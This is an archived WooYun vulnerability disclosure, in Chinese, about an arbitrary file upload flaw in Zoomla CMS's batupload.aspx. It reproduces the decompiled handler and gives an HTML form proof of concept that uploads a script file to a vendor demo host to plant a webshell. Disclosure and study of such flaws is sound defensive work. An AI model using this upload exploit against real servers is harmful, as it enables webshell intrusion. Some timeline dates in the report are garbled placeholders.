乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-01-05: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 1970-02-25: 细节向核心白帽子及相关领域专家公开 1970-03-07: 细节向普通白帽子公开 1970-03-17: 细节向实习白帽子公开 2014-01-10: 细节向公众公开
没有对上传文件类型进行判断,可直接上传动态脚本获取webshell
从官网下载cms代码 在源码目录下的edit目录下batupload.aspx文件通过反编译看到源码如下
protected void Page_Load(object sender, EventArgs e){ if (!string.IsNullOrEmpty(base.Request.QueryString["case"])) { string str = base.Server.UrlDecode(base.Request.QueryString["case"]); if (!Directory.Exists(base.Server.MapPath("~/UploadFiles/DocTemp/" + str))) { Directory.CreateDirectory(base.Server.MapPath("~/uploadFiles/DocTemp/" + str)); } string str2 = base.Server.MapPath("~/uploadFiles/DocTemp/" + str + "/"); base.Response.Clear(); string str3 = base.Request.Params["ID"]; string str4 = "test"; if (!string.IsNullOrEmpty(str3)) { str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]); } string str5 = base.Request.Params["DocType"]; str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]); base.Server.UrlDecode(base.Request.Params["content"]); if (str5 == "") { str5 = "doc"; } str5 = str5.Substring(0, 3); if (base.Request.Files.Count > 0) { HttpPostedFile file = base.Request.Files[0]; int contentLength = file.ContentLength; byte[] buffer = new byte[contentLength]; file.InputStream.Read(buffer, 0, contentLength); if (!File.Exists(str2 + str4)) { using (File.Create(str2 + str4)) { } } File.WriteAllBytes(str2 + str4, buffer); } base.Response.ContentType = "text/plain"; base.Response.Write("Complete"); base.Response.Flush(); base.Response.End(); }}
DocTitle参数可控制最后上传的文件名,case为设置上传到/uploadFiles/DocTemp/下的目录,随便设置DocType的值长度大于防止程序出错,就可构造任意文件上传了
上传poc
<html><head><title>xss</title></head><form action="http://demo.zoomla.cn/Edit/batupload.aspx?case=2" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="hidden" name="DocTitle" value="111111.aspx" /><input type="hidden" name="DocType" value="12345" /><input type="submit" /></form></html>
如图 仅仅测试而已 不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 不知道服务器上有什么东西拦截了
对上传文件的类型进行白名单过滤。
危害等级:无影响厂商忽略
忽略时间:2014-01-10 16:57
暂无